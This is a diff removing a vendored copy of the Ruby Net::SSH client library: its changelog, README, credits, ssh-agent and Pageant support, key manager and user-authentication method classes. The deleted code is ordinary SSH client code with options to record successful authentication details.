* Don't include pageant when running under JRuby [Angel N. Sciortino]
=== 2.0.6 / 6 December 2008
* Update the Manifest file so that the gem includes all necessary files [Jamis Buck]
=== 2.0.5 / 6 December 2008
* Make the Pageant interface comply with more of the Socket interface to avoid related errors [Jamis Buck]
* Don't busy-wait on session close for remaining channels to close [Will Bryant]
* Ruby 1.9 compatibility [Jamis Buck]
* Fix Cipher#final to correctly flag a need for a cipher reset [Jamis Buck]
=== 2.0.4 / 27 Aug 2008
* Added Connection::Session#closed? and Transport::Session#closed? [Jamis Buck]
* Numeric host names in .ssh/config are now parsed correct [Yanko Ivanov]
* Make sure the error raised when a public key file is malformed is more informative than a MethodMissing error [Jamis Buck]
* Cipher#reset is now called after Cipher#final, with the last n bytes used as the next initialization vector [Jamis Buck]
=== 2.0.3 / 27 Jun 2008
* Make Net::SSH::Version comparable [Brian Candler]
* Fix errors in port forwarding when a channel could not be opened due to a typo in the exception name [Matthew Todd]
* Use #chomp instead of #strip when cleaning the version string reported by the remote host, so that trailing whitespace is preserved (this is to play nice with servers like Mocana SSH) [Timo Gatsonides]
* Correctly parse ssh_config entries with eq-sign delimiters [Jamis Buck]
* Ignore malformed ssh_config entries [Jamis Buck]
=== 2.0.2 / 29 May 2008
* Make sure the agent client understands both RSA "identities answers" [Jamis Buck]
* Fixed key truncation bug that caused hmacs other than SHA1 to fail with "corrupt hmac" errors [Jamis Buck]
* Fix detection and loading of public keys when the keys don't actually exist [David Dollar]
=== 2.0.1 / 5 May 2008
* Teach Net::SSH about a handful of default key names [Jamis Buck]
=== 2.0.0 / 1 May 2008
* Allow the :verbose argument to accept symbols (:debug, etc.) as well as Logger level constants (Logger::DEBUG, etc.) [Jamis Buck]
=== 2.0 Preview Release 4 (1.99.3) / 19 Apr 2008
* Make sure HOME is set to something sane, even on OS's that don't set it by default [Jamis Buck]
* Add a :passphrase option to specify the passphrase to use with private keys [Francis Sullivan]
* Open a new auth agent connection for every auth-agent channel request [Jamis Buck]
=== 2.0 Preview Release 3 (1.99.2) / 10 Apr 2008
* Session properties [Jamis Buck]
* Make channel open failure work with a callback so that failures can be handled similarly to successes [Jamis Buck]
=== 2.0 Preview Release 2 (1.99.1) / 22 Mar 2008
* Partial support for ~/.ssh/config (and related) SSH configuration files [Daniel J. Berger, Jamis Buck]
* Added Net::SSH::Test to facilitate testing complex SSH state machines [Jamis Buck]
* Reworked Net::SSH::Prompt to use conditionally-selected modules [Jamis Buck, suggested by James Rosen]
* Added Channel#eof? and Channel#eof! [Jamis Buck]
* Fixed bug in strict host key verifier on cache miss [Mike Timm]
=== 2.0 Preview Release 1 (1.99.0) / 21 Aug 2007
* First preview release of Net::SSH v2
-110
View File
@@ -1,110 +0,0 @@
= Net::SSH
* http://net-ssh.rubyforge.org/ssh
== DESCRIPTION:
Net::SSH is a pure-Ruby implementation of the SSH2 client protocol. It allows you to write programs that invoke and interact with processes on remote servers, via SSH2.
== FEATURES:
* Execute processes on remote servers and capture their output
* Run multiple processes in parallel over a single SSH connection
* Support for SSH subsystems
* Forward local and remote ports via an SSH connection
== SYNOPSIS:
In a nutshell:
require 'net/ssh'
Net::SSH.start('host', 'user', :password => "password") do |ssh|
# capture all stderr and stdout output from a remote process
output = ssh.exec!("hostname")
# capture only stdout matching a particular pattern
stdout = ""
ssh.exec!("ls -l /home/jamis") do |channel, stream, data|
stdout << data if stream == :stdout
end
puts stdout
# run multiple processes in parallel to completion
ssh.exec "sed ..."
ssh.exec "awk ..."
ssh.exec "rm -rf ..."
ssh.loop
# open a new channel and configure a minimal set of callbacks, then run
# the event loop until the channel finishes (closes)
channel = ssh.open_channel do |ch|
ch.exec "/usr/local/bin/ruby /path/to/file.rb" do |ch, success|
raise "could not execute command" unless success
# "on_data" is called when the process writes something to stdout
ch.on_data do |c, data|
$STDOUT.print data
end
# "on_extended_data" is called when the process writes something to stderr
ch.on_extended_data do |c, type, data|
$STDERR.print data
end
ch.on_close { puts "done!" }
end
end
channel.wait
# forward connections on local port 1234 to port 80 of www.capify.org
ssh.forward.local(1234, "www.capify.org", 80)
ssh.loop { true }
end
See Net::SSH for more documentation, and links to further information.
== REQUIREMENTS:
The only requirement you might be missing is the OpenSSL bindings for Ruby. These are built by default on most platforms, but you can verify that they're built and installed on your system by running the following command line:
ruby -ropenssl -e 'puts OpenSSL::OPENSSL_VERSION'
If that spits out something like "OpenSSL 0.9.8g 19 Oct 2007", then you're set. If you get an error, then you'll need to see about rebuilding ruby with OpenSSL support, or (if your platform supports it) installing the OpenSSL bindings separately.
Additionally: if you are going to be having Net::SSH prompt you for things like passwords or certificate passphrases, you'll want to have either the Highline (recommended) or Termios (unix systems only) gem installed, so that the passwords don't echo in clear text.
Lastly, if you want to run the tests or use any of the Rake tasks, you'll need:
* Echoe (for the Rakefile)
* Mocha (for the tests)
== INSTALL:
* gem install net-ssh (might need sudo privileges)
== LICENSE:
(The MIT License)
Copyright (c) 2008 Jamis Buck <jamis@37signals.com>
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
'Software'), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be
included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
-16
View File
@@ -1,16 +0,0 @@
Net::SSH was originally written by Jamis Buck <jamis@37signals.com>. In
addition, the following individuals are gratefully acknowledged for their
contributions:
GOTOU Yuuzou <gotoyuzo@notwork.org>
* help and code related to OpenSSL
Guillaume Marçais <guillaume.marcais@free.fr>
* support for communicating with the the PuTTY "pageant" process
Daniel Berger <djberg96@yahoo.com>
* help getting unit tests in earlier Net::SSH versions to pass in Windows
* initial version of Net::SSH::Config provided inspiration and encouragement
Chris Andrews <chris@nodnol.org> and Lee Jensen <lee@outerim.com>
* support for ssh agent forwarding
-181
View File
@@ -1,181 +0,0 @@
# -*- coding: binary -*-
require 'net/ssh/buffer'
require 'net/ssh/errors'
require 'net/ssh/loggable'
require 'net/ssh/transport/server_version'
# Disable pageant, as it uses DL in a non-1.9 compatible way
=begin
require 'net/ssh/authentication/pageant' if File::ALT_SEPARATOR && !(RUBY_PLATFORM =~ /java/)
=end
module Net; module SSH; module Authentication
# A trivial exception class for representing agent-specific errors.
class AgentError < Net::SSH::Exception; end
# An exception for indicating that the SSH agent is not available.
class AgentNotAvailable < AgentError; end
# This class implements a simple client for the ssh-agent protocol. It
# does not implement any specific protocol, but instead copies the
# behavior of the ssh-agent functions in the OpenSSH library (3.8).
#
# This means that although it behaves like a SSH1 client, it also has
# some SSH2 functionality (like signing data).
class Agent
include Loggable
# A simple module for extending keys, to allow comments to be specified
# for them.
module Comment
attr_accessor :comment
end
SSH2_AGENT_REQUEST_VERSION = 1
SSH2_AGENT_REQUEST_IDENTITIES = 11
SSH2_AGENT_IDENTITIES_ANSWER = 12
SSH2_AGENT_SIGN_REQUEST = 13
SSH2_AGENT_SIGN_RESPONSE = 14
SSH2_AGENT_FAILURE = 30
SSH2_AGENT_VERSION_RESPONSE = 103
SSH_COM_AGENT2_FAILURE = 102
SSH_AGENT_REQUEST_RSA_IDENTITIES = 1
SSH_AGENT_RSA_IDENTITIES_ANSWER1 = 2
SSH_AGENT_RSA_IDENTITIES_ANSWER2 = 5
SSH_AGENT_FAILURE = 5
# The underlying socket being used to communicate with the SSH agent.
attr_reader :socket
# Instantiates a new agent object, connects to a running SSH agent,
# negotiates the agent protocol version, and returns the agent object.
def self.connect(logger=nil)
agent = new(logger)
agent.connect!
agent.negotiate!
agent
end
# Creates a new Agent object, using the optional logger instance to
# report status.
def initialize(logger=nil)
self.logger = logger
end
# Connect to the agent process using the socket factory and socket name
# given by the attribute writers. If the agent on the other end of the
# socket reports that it is an SSH2-compatible agent, this will fail
# (it only supports the ssh-agent distributed by OpenSSH).
def connect!
begin
debug { "connecting to ssh-agent" }
@socket = agent_socket_factory.open(ENV['SSH_AUTH_SOCK'])
rescue
error { "could not connect to ssh-agent" }
raise AgentNotAvailable, $!.message
end
end
# Attempts to negotiate the SSH agent protocol version. Raises an error
# if the version could not be negotiated successfully.
def negotiate!
# determine what type of agent we're communicating with
type, body = send_and_wait(SSH2_AGENT_REQUEST_VERSION, :string, Transport::ServerVersion::PROTO_VERSION)
if type == SSH2_AGENT_VERSION_RESPONSE
raise NotImplementedError, "SSH2 agents are not yet supported"
elsif type != SSH_AGENT_RSA_IDENTITIES_ANSWER1 && type != SSH_AGENT_RSA_IDENTITIES_ANSWER2
raise AgentError, "unknown response from agent: #{type}, #{body.to_s.inspect}"
end
end
# Return an array of all identities (public keys) known to the agent.
# Each key returned is augmented with a +comment+ property which is set
# to the comment returned by the agent for that key.
def identities
type, body = send_and_wait(SSH2_AGENT_REQUEST_IDENTITIES)
raise AgentError, "could not get identity count" if agent_failed(type)
raise AgentError, "bad authentication reply: #{type}" if type != SSH2_AGENT_IDENTITIES_ANSWER
identities = []
body.read_long.times do
key = Buffer.new(body.read_string).read_key
key.extend(Comment)
key.comment = body.read_string
identities.push key
end
return identities
end
# Closes this socket. This agent reference is no longer able to
# query the agent.
def close
@socket.close
end
# Using the agent and the given public key, sign the given data. The
# signature is returned in SSH2 format.
def sign(key, data)
type, reply = send_and_wait(SSH2_AGENT_SIGN_REQUEST, :string, Buffer.from(:key, key), :string, data, :long, 0)
if agent_failed(type)
raise AgentError, "agent could not sign data with requested identity"
elsif type != SSH2_AGENT_SIGN_RESPONSE
raise AgentError, "bad authentication response #{type}"
end
return reply.read_string
end
private
# Returns the agent socket factory to use.
def agent_socket_factory
if File::ALT_SEPARATOR
Pageant::Socket
else
UNIXSocket
end
end
# Send a new packet of the given type, with the associated data.
def send_packet(type, *args)
buffer = Buffer.from(*args)
data = [buffer.length + 1, type.to_i, buffer.to_s].pack("NCA*")
debug { "sending agent request #{type} len #{buffer.length}" }
@socket.send data, 0
end
# Read the next packet from the agent. This will return a two-part
# tuple consisting of the packet type, and the packet's body (which
# is returned as a Net::SSH::Buffer).
def read_packet
buffer = Net::SSH::Buffer.new(@socket.read(4))
buffer.append(@socket.read(buffer.read_long))
type = buffer.read_byte
debug { "received agent packet #{type} len #{buffer.length-4}" }
return type, buffer
end
# Send the given packet and return the subsequent reply from the agent.
# (See #send_packet and #read_packet).
def send_and_wait(type, *args)
send_packet(type, *args)
read_packet
end
# Returns +true+ if the parameter indicates a "failure" response from
# the agent, and +false+ otherwise.
def agent_failed(type)
type == SSH_AGENT_FAILURE ||
type == SSH2_AGENT_FAILURE ||
type == SSH_COM_AGENT2_FAILURE
end
end
end; end; end
-19
View File
@@ -1,19 +0,0 @@
# -*- coding: binary -*-
module Net; module SSH; module Authentication
# Describes the constants used by the Net::SSH::Authentication components
# of the Net::SSH library. Individual authentication method implemenations
# may define yet more constants that are specific to their implementation.
module Constants
USERAUTH_REQUEST = 50
USERAUTH_FAILURE = 51
USERAUTH_SUCCESS = 52
USERAUTH_BANNER = 53
USERAUTH_PASSWD_CHANGEREQ = 60
USERAUTH_PK_OK = 60
USERAUTH_METHOD_RANGE = 60..79
end
end; end; end
-201
View File
@@ -1,201 +0,0 @@
# -*- coding: binary -*-
require 'net/ssh/errors'
require 'net/ssh/key_factory'
require 'net/ssh/loggable'
require 'net/ssh/authentication/agent'
module Net
module SSH
module Authentication
# A trivial exception class used to report errors in the key manager.
class KeyManagerError < Net::SSH::Exception; end
# This class encapsulates all operations done by clients on a user's
# private keys. In practice, the client should never need a reference
# to a private key; instead, they grab a list of "identities" (public
# keys) that are available from the KeyManager, and then use
# the KeyManager to do various private key operations using those
# identities.
#
# The KeyManager also uses the Agent class to encapsulate the
# ssh-agent. Thus, from a client's perspective it is completely
# hidden whether an identity comes from the ssh-agent or from a file
# on disk.
class KeyManager
include Loggable
# The list of user key files that will be examined
attr_reader :key_files
# The list of user key data that will be examined
attr_reader :key_data
# The map of loaded identities
attr_reader :known_identities
# The map of options that were passed to the key-manager
attr_reader :options
# Create a new KeyManager. By default, the manager will
# use the ssh-agent (if it is running).
def initialize(logger, options={})
self.logger = logger
@key_files = []
@key_data = []
@use_agent = true
@known_identities = {}
@agent = nil
@options = options
end
# Clear all knowledge of any loaded user keys. This also clears the list
# of default identity files that are to be loaded, thus making it
# appropriate to use if a client wishes to NOT use the default identity
# files.
def clear!
key_files.clear
key_data.clear
known_identities.clear
self
end
# Add the given key_file to the list of key files that will be used.
def add(key_file)
key_files.push(File.expand_path(key_file)).uniq!
self
end
# Add the given key_file to the list of keys that will be used.
def add_key_data(key_data_)
key_data.push(key_data_).uniq!
self
end
# This is used as a hint to the KeyManager indicating that the agent
# connection is no longer needed. Any other open resources may be closed
# at this time.
#
# Calling this does NOT indicate that the KeyManager will no longer
# be used. Identities may still be requested and operations done on
# loaded identities, in which case, the agent will be automatically
# reconnected. This method simply allows the client connection to be
# closed when it will not be used in the immediate future.
def finish
@agent.close if @agent
@agent = nil
end
# Iterates over all available identities (public keys) known to this
# manager. As it finds one, it will then yield it to the caller.
# The origin of the identities may be from files on disk or from an
# ssh-agent. Note that identities from an ssh-agent are always listed
# first in the array, with other identities coming after.
def each_identity
if agent
agent.identities.each do |key|
known_identities[key] = { :from => :agent }
yield key
end
end
key_files.each do |file|
public_key_file = file + ".pub"
if File.readable?(public_key_file)
begin
key = KeyFactory.load_public_key(public_key_file)
known_identities[key] = { :from => :file, :file => file }
yield key
rescue Exception => e
error { "could not load public key file `#{public_key_file}': #{e.class} (#{e.message})" }
end
elsif File.readable?(file)
begin
private_key = KeyFactory.load_private_key(file, options[:passphrase])
key = private_key.send(:public_key)
known_identities[key] = { :from => :file, :file => file, :key => private_key }
yield key
rescue Exception => e
error { "could not load private key file `#{file}': #{e.class} (#{e.message})" }
end
end
end
key_data.each do |data|
if @options[:skip_private_keys]
key = KeyFactory.load_data_public_key(data)
known_identities[key] = { :from => :key_data, :data => data }
yield key
else
private_key = KeyFactory.load_data_private_key(data)
key = private_key.send(:public_key)
known_identities[key] = { :from => :key_data, :data => data, :key => private_key }
yield key
end
end
self
end
# Sign the given data, using the corresponding private key of the given
# identity. If the identity was originally obtained from an ssh-agent,
# then the ssh-agent will be used to sign the data, otherwise the
# private key for the identity will be loaded from disk (if it hasn't
# been loaded already) and will then be used to sign the data.
#
# Regardless of the identity's origin or who does the signing, this
# will always return the signature in an SSH2-specified "signature
# blob" format.
def sign(identity, data)
info = known_identities[identity] or raise KeyManagerError, "the given identity is unknown to the key manager"
if info[:key].nil? && info[:from] == :file
begin
info[:key] = KeyFactory.load_private_key(info[:file], options[:passphrase])
rescue Exception => e
raise KeyManagerError, "the given identity is known, but the private key could not be loaded: #{e.class} (#{e.message})"
end
end
if info[:key]
return Net::SSH::Buffer.from(:string, identity.ssh_type,
:string, info[:key].ssh_do_sign(data.to_s)).to_s
end
if info[:from] == :agent
raise KeyManagerError, "the agent is no longer available" unless agent
return agent.sign(identity, data.to_s)
end
raise KeyManagerError, "[BUG] can't determine identity origin (#{info.inspect})"
end
# Identifies whether the ssh-agent will be used or not.
def use_agent?
return false if @options[:disable_agent]
@use_agent
end
# Toggles whether the ssh-agent will be used or not. If true, an
# attempt will be made to use the ssh-agent. If false, any existing
# connection to an agent is closed and the agent will not be used.
def use_agent=(use_agent)
finish if !use_agent
@use_agent = use_agent
end
# Returns an Agent instance to use for communicating with an SSH
# agent process. Returns nil if use of an SSH agent has been disabled,
# or if the agent is otherwise not available.
def agent
return unless use_agent?
@agent ||= Agent.connect(logger)
rescue AgentNotAvailable
@use_agent = false
nil
end
end
end
end
end
@@ -1,61 +0,0 @@
# -*- coding: binary -*-
require 'net/ssh/buffer'
require 'net/ssh/errors'
require 'net/ssh/loggable'
require 'net/ssh/authentication/constants'
module Net; module SSH; module Authentication; module Methods
# The base class of all user authentication methods. It provides a few
# bits of common functionality.
class Abstract
include Constants, Loggable
# The authentication session object
attr_reader :session
# The key manager object. Not all authentication methods will require
# this.
attr_reader :key_manager
# Instantiates a new authentication method.
def initialize(session, options={})
@session = session
@key_manager = options[:key_manager]
@options = options
self.logger = session.logger
end
# Returns the session-id, as generated during the first key exchange of
# an SSH connection.
def session_id
session.transport.algorithms.session_id
end
# Sends a message via the underlying transport layer abstraction. This
# will block until the message is completely sent.
def send_message(msg)
session.transport.send_message(msg)
end
# Creates a new USERAUTH_REQUEST packet. The extra arguments on the end
# must be either boolean values or strings, and are tacked onto the end
# of the packet. The new packet is returned, ready for sending.
def userauth_request(username, next_service, auth_method, *others)
buffer = Net::SSH::Buffer.from(:byte, USERAUTH_REQUEST,
:string, username, :string, next_service, :string, auth_method)
others.each do |value|
case value
when true, false then buffer.write_bool(value)
when String then buffer.write_string(value)
else raise ArgumentError, "don't know how to write #{value.inspect}"
end
end
buffer
end
end
end; end; end; end
@@ -1,72 +0,0 @@
# -*- coding: binary -*-
require 'net/ssh/authentication/methods/abstract'
module Net
module SSH
module Authentication
module Methods
# Implements the host-based SSH authentication method.
class Hostbased < Abstract
include Constants
# Attempts to perform host-based authorization of the user by trying
# all known keys.
def authenticate(next_service, username, password=nil)
return false unless key_manager
key_manager.each_identity do |identity|
return true if authenticate_with(identity, next_service,
username, key_manager)
end
return false
end
private
# Returns the hostname as reported by the underlying socket.
def hostname
session.transport.socket.client_name
end
# Attempts to perform host-based authentication of the user, using
# the given host identity (key).
def authenticate_with(identity, next_service, username, key_manager)
debug { "trying hostbased (#{identity.fingerprint})" }
client_username = ENV['USER'] || username
req = build_request(identity, next_service, username, "#{hostname}.", client_username)
sig_data = Buffer.from(:string, session_id, :raw, req)
sig = key_manager.sign(identity, sig_data.to_s)
message = Buffer.from(:raw, req, :string, sig)
send_message(message)
message = session.next_message
case message.type
when USERAUTH_SUCCESS
info { "hostbased succeeded (#{identity.fingerprint})" }
return true
when USERAUTH_FAILURE
info { "hostbased failed (#{identity.fingerprint})" }
return false
else
raise Net::SSH::Exception, "unexpected server response to USERAUTH_REQUEST: #{message.type} (#{message.inspect})"
end
end
# Build the "core" hostbased request string.
def build_request(identity, next_service, username, hostname, client_username)
userauth_request(username, next_service, "hostbased", identity.ssh_type,
Buffer.from(:key, identity).to_s, hostname, client_username).to_s
end
end
end
end
end
end
@@ -1,69 +0,0 @@
# -*- coding: binary -*-
require 'net/ssh/prompt'
require 'net/ssh/authentication/methods/abstract'
module Net
module SSH
module Authentication
module Methods
# Implements the "keyboard-interactive" SSH authentication method.
class KeyboardInteractive < Abstract
include Prompt # Or not - Prompt depends on stdin/stdout ATM. -todb
USERAUTH_INFO_REQUEST = 60
USERAUTH_INFO_RESPONSE = 61
# Attempt to authenticate the given user for the given service.
def authenticate(next_service, username, password=nil)
debug { "trying keyboard-interactive" }
send_message(userauth_request(username, next_service, "keyboard-interactive", "", ""))
loop do
message = session.next_message
case message.type
when USERAUTH_SUCCESS
debug { "keyboard-interactive succeeded" }
return true
when USERAUTH_FAILURE
debug { "keyboard-interactive failed" }
return false
when USERAUTH_INFO_REQUEST
name = message.read_string
instruction = message.read_string
debug { "keyboard-interactive info request" }
unless password
puts(name) unless name.empty?
puts(instruction) unless instruction.empty?
end
lang_tag = message.read_string
responses =[]
message.read_long.times do
text = message.read_string
echo = message.read_bool
responses << (password || "")
# Avoid actually prompting.
# responses << (password || prompt(text, echo))
end
# if the password failed the first time around, don't try
# and use it on subsequent requests.
password = nil
msg = Buffer.from(:byte, USERAUTH_INFO_RESPONSE, :long, responses.length, :string, responses)
send_message(msg)
else
raise Net::SSH::Exception, "unexpected reply in keyboard interactive: #{message.type} (#{message.inspect})"
end
end
end
end
end
end
end
end
@@ -1,45 +0,0 @@
# -*- coding: binary -*-
require 'net/ssh/errors'
require 'net/ssh/authentication/methods/abstract'
module Net
module SSH
module Authentication
module Methods
# Implements the "password" SSH authentication method.
class Password < Abstract
# Attempt to authenticate the given user for the given service. If
# the password parameter is nil, this will never do anything except
# return false.
def authenticate(next_service, username, password=nil)
return false unless password
send_message(userauth_request(username, next_service, "password", false, password))
message = session.next_message
case message.type
when USERAUTH_SUCCESS
debug { "password succeeded" }
if session.options[:record_auth_info]
session.auth_info[:method] = "password"
session.auth_info[:user] = username
session.auth_info[:password] = password
end
return true
when USERAUTH_FAILURE
debug { "password failed" }
return false
when USERAUTH_PASSWD_CHANGEREQ
debug { "password change request received, failing" }
return false
else
raise Net::SSH::Exception, "unexpected reply to USERAUTH_REQUEST: #{message.type} (#{message.inspect})"
end
end
end
end
end
end
end
@@ -1,116 +0,0 @@
# -*- coding: binary -*-
require 'net/ssh/buffer'
require 'net/ssh/errors'
require 'net/ssh/authentication/methods/abstract'
module Net
module SSH
module Authentication
module Methods
# Implements the "publickey" SSH authentication method.
class Publickey < Abstract
# Attempts to perform public-key authentication for the given
# username, trying each identity known to the key manager. If any of
# them succeed, returns +true+, otherwise returns +false+. This
# requires the presence of a key manager.
def authenticate(next_service, username, password=nil)
return false unless key_manager
key_manager.each_identity do |identity|
return true if authenticate_with(identity, next_service, username)
end
return false
end
private
# Builds a packet that contains the request formatted for sending
# a public-key request to the server.
def build_request(pub_key, username, next_service, has_sig)
blob = Net::SSH::Buffer.new
blob.write_key pub_key
userauth_request(username, next_service, "publickey", has_sig,
pub_key.ssh_type, blob.to_s)
end
# Builds and sends a request formatted for a public-key
# authentication request.
def send_request(pub_key, username, next_service, signature=nil)
msg = build_request(pub_key, username, next_service, !signature.nil?)
msg.write_string(signature) if signature
send_message(msg)
end
# Attempts to perform public-key authentication for the given
# username, with the given identity (public key). Returns +true+ if
# successful, or +false+ otherwise.
def authenticate_with(identity, next_service, username)
debug { "trying publickey (#{identity.fingerprint})" }
send_request(identity, username, next_service)
message = session.next_message
case message.type
when USERAUTH_PK_OK
debug { "publickey will be accepted (#{identity.fingerprint})" }
# The key is accepted by the server, trigger a callback if set
if session.accepted_key_callback
session.accepted_key_callback.call({ :user => username, :fingerprint => identity.fingerprint, :key => identity.dup })
end
if session.skip_private_keys
if session.options[:record_auth_info]
session.auth_info[:method] = "publickey"
session.auth_info[:user] = username
session.auth_info[:pubkey_data] = identity.inspect
session.auth_info[:pubkey_id] = identity.fingerprint
end
return true
end
buffer = build_request(identity, username, next_service, true)
sig_data = Net::SSH::Buffer.new
sig_data.write_string(session_id)
sig_data.append(buffer.to_s)
sig_blob = key_manager.sign(identity, sig_data)
send_request(identity, username, next_service, sig_blob.to_s)
message = session.next_message
case message.type
when USERAUTH_SUCCESS
debug { "publickey succeeded (#{identity.fingerprint})" }
if session.options[:record_auth_info]
session.auth_info[:method] = "publickey"
session.auth_info[:user] = username
session.auth_info[:pubkey_data] = identity.inspect
session.auth_info[:pubkey_id] = identity.fingerprint
end
return true
when USERAUTH_FAILURE
debug { "publickey failed (#{identity.fingerprint})" }
return false
else
raise Net::SSH::Exception,
"unexpected server response to USERAUTH_REQUEST: #{message.type} (#{message.inspect})"
end
when USERAUTH_FAILURE
return false
else
raise Net::SSH::Exception, "unexpected reply to USERAUTH_REQUEST: #{message.type} (#{message.inspect})"
end
end
end
end
end
end
end
-184
View File
@@ -1,184 +0,0 @@
# -*- coding: binary -*-
require 'dl/import'
require 'dl/struct'
require 'net/ssh/errors'
module Net; module SSH; module Authentication
# This module encapsulates the implementation of a socket factory that
# uses the PuTTY "pageant" utility to obtain information about SSH
# identities.
#
# This code is a slightly modified version of the original implementation
# by Guillaume Marçais (guillaume.marcais@free.fr). It is used and
# relicensed by permission.
module Pageant
# From Putty pageant.c
AGENT_MAX_MSGLEN = 8192
AGENT_COPYDATA_ID = 0x804e50ba
# The definition of the Windows methods and data structures used in
# communicating with the pageant process.
module Win
extend DL::Importable
dlload 'user32'
dlload 'kernel32'
typealias("LPCTSTR", "char *") # From winnt.h
typealias("LPVOID", "void *") # From winnt.h
typealias("LPCVOID", "const void *") # From windef.h
typealias("LRESULT", "long") # From windef.h
typealias("WPARAM", "unsigned int *") # From windef.h
typealias("LPARAM", "long *") # From windef.h
typealias("PDWORD_PTR", "long *") # From basetsd.h
# From winbase.h, winnt.h
INVALID_HANDLE_VALUE = -1
NULL = nil
PAGE_READWRITE = 0x0004
FILE_MAP_WRITE = 2
WM_COPYDATA = 74
SMTO_NORMAL = 0 # From winuser.h
# args: lpClassName, lpWindowName
extern 'HWND FindWindow(LPCTSTR, LPCTSTR)'
# args: none
extern 'DWORD GetCurrentThreadId()'
# args: hFile, (ignored), flProtect, dwMaximumSizeHigh,
# dwMaximumSizeLow, lpName
extern 'HANDLE CreateFileMapping(HANDLE, void *, DWORD, DWORD, ' +
'DWORD, LPCTSTR)'
# args: hFileMappingObject, dwDesiredAccess, dwFileOffsetHigh,
# dwfileOffsetLow, dwNumberOfBytesToMap
extern 'LPVOID MapViewOfFile(HANDLE, DWORD, DWORD, DWORD, DWORD)'
# args: lpBaseAddress
extern 'BOOL UnmapViewOfFile(LPCVOID)'
# args: hObject
extern 'BOOL CloseHandle(HANDLE)'
# args: hWnd, Msg, wParam, lParam, fuFlags, uTimeout, lpdwResult
extern 'LRESULT SendMessageTimeout(HWND, UINT, WPARAM, LPARAM, ' +
'UINT, UINT, PDWORD_PTR)'
end
# This is the pseudo-socket implementation that mimics the interface of
# a socket, translating each request into a Windows messaging call to
# the pageant daemon. This allows pageant support to be implemented
# simply by replacing the socket factory used by the Agent class.
class Socket
private_class_method :new
# The factory method for creating a new Socket instance. The location
# parameter is ignored, and is only needed for compatibility with
# the general Socket interface.
def self.open(location=nil)
new
end
# Create a new instance that communicates with the running pageant
# instance. If no such instance is running, this will cause an error.
def initialize
@win = Win.findWindow("Pageant", "Pageant")
if @win == 0
raise Net::SSH::Exception,
"pageant process not running"
end
@res = nil
@pos = 0
end
# Forwards the data to #send_query, ignoring any arguments after
# the first. Returns 0.
def send(data, *args)
@res = send_query(data)
@pos = 0
end
# Packages the given query string and sends it to the pageant
# process via the Windows messaging subsystem. The result is
# cached, to be returned piece-wise when #read is called.
def send_query(query)
res = nil
filemap = 0
ptr = nil
id = DL::PtrData.malloc(DL.sizeof("L"))
mapname = "PageantRequest%08x\000" % Win.getCurrentThreadId()
filemap = Win.createFileMapping(Win::INVALID_HANDLE_VALUE,
Win::NULL,
Win::PAGE_READWRITE, 0,
AGENT_MAX_MSGLEN, mapname)
if filemap == 0
raise Net::SSH::Exception,
"Creation of file mapping failed"
end
ptr = Win.mapViewOfFile(filemap, Win::FILE_MAP_WRITE, 0, 0,
AGENT_MAX_MSGLEN)
if ptr.nil? || ptr.null?
raise Net::SSH::Exception, "Mapping of file failed"
end
ptr[0] = query
cds = [AGENT_COPYDATA_ID, mapname.size + 1, mapname].
pack("LLp").to_ptr
succ = Win.sendMessageTimeout(@win, Win::WM_COPYDATA, Win::NULL,
cds, Win::SMTO_NORMAL, 5000, id)
if succ > 0
retlen = 4 + ptr.to_s(4).unpack("N")[0]
res = ptr.to_s(retlen)
end
return res
ensure
Win.unmapViewOfFile(ptr) unless ptr.nil? || ptr.null?
Win.closeHandle(filemap) if filemap != 0
end
# Conceptually close the socket. This doesn't really do anthing
# significant, but merely complies with the Socket interface.
def close
@res = nil
@pos = 0
end
# Conceptually asks if the socket is closed. As with #close,
# this doesn't really do anything significant, but merely
# complies with the Socket interface.
def closed?
@res.nil? && @pos.zero?
end
# Reads +n+ bytes from the cached result of the last query. If +n+
# is +nil+, returns all remaining data from the last query.
def read(n = nil)
return nil unless @res
if n.nil?
start, @pos = @pos, @res.size
return @res[start..-1]
else
start, @pos = @pos, @pos + n
return @res[start, n]
end
end
end
end
end; end; end
-148
View File
@@ -1,148 +0,0 @@
# -*- coding: binary -*-
require 'net/ssh/loggable'
require 'net/ssh/transport/constants'
require 'net/ssh/authentication/constants'
require 'net/ssh/authentication/key_manager'
require 'net/ssh/authentication/methods/publickey'
require 'net/ssh/authentication/methods/hostbased'
require 'net/ssh/authentication/methods/password'
require 'net/ssh/authentication/methods/keyboard_interactive'
module Net; module SSH; module Authentication
# Represents an authentication session. It manages the authentication of
# a user over an established connection (the "transport" object, see
# Net::SSH::Transport::Session).
#
# The use of an authentication session to manage user authentication is
# internal to Net::SSH (specifically Net::SSH.start). Consumers of the
# Net::SSH library will never need to access this class directly.
class Session
include Transport::Constants, Constants, Loggable
# transport layer abstraction
attr_reader :transport
# the list of authentication methods to try
attr_reader :auth_methods
# the list of authentication methods that are allowed
attr_reader :allowed_auth_methods
# a hash of options, given at construction time
attr_reader :options
# when a successful auth is made, note the auth info if session.options[:record_auth_info]
attr_accessor :auth_info
# when a public key is accepted (even if not used), trigger a callback
attr_accessor :accepted_key_callback
# when we only want to test a key and not login
attr_accessor :skip_private_keys
# Instantiates a new Authentication::Session object over the given
# transport layer abstraction.
def initialize(transport, options={})
self.logger = transport.logger
@transport = transport
@auth_methods = options[:auth_methods] || %w(publickey hostbased password keyboard-interactive)
@options = options
@allowed_auth_methods = @auth_methods
@skip_private_keys = options[:skip_private_keys] || false
@accepted_key_callback = options[:accepted_key_callback]
@auth_info = {}
end
# Attempts to authenticate the given user, in preparation for the next
# service request. Returns true if an authentication method succeeds in
# authenticating the user, and false otherwise.
def authenticate(next_service, username, password=nil)
debug { "beginning authentication of `#{username}'" }
